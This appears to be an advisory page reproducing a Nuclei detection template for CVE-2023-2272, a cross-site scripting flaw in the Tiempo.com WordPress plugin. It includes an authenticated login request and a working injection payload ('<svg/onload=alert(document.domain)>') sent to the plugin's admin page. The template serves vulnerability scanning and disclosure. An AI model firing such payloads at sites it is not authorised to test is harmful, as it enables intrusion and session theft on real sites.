CVE-2023-2272: Tiempo.com <= 0.1.2 - Cross-Site Scripting

2025-08-01 Tiempo.com PoC Public

Description

Tiempo.com before 0.1.2 is susceptible to cross-site scripting via the page parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PoC

id: CVE-2023-2272

info:
  name: Tiempo.com <= 0.1.2 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Tiempo.com before 0.1.2 is susceptible to cross-site scripting via the page parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade to a patched version of Tiempo.com (version 0.1.3 or above) that addresses the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/dba60216-2753-40b7-8f2b-6caeba684b2e
    - https://wordpress.org/plugins/tiempocom/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2272
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-2272
    cwe-id: CWE-79
    epss-score: 0.0085
    epss-percentile: 0.56376
    cpe: cpe:2.3:a:tiempo:tiempo:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: tiempo
    product: tiempo
    framework: wordpress
  tags: cve,cve2023,wpscan,wp,wp-plugin,wordpress,authenticated,xss,tiempocom,tiempo,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        POST /wp-admin/admin.php?page=tiempocom%2Fapp%2Fadmin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        page=%22%3E%3Csvg%2Fonload%3Dalert%28document.domain%29%3E

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "<svg/onload=alert(document.domain)>")'
          - 'contains(body_2, "Tiempo")'
        condition: and
# digest: 4a0a004730450220052d913f9cbdd6f44143f918eded24506cae3b73d3bf1a13742d104edf2c206f02210090b3a4cf4d587d47ae3b1611700458c14508264576103ceb26d9a18798770684:922c64590222798bb761d5b6d8e72950

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Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-2272.yaml

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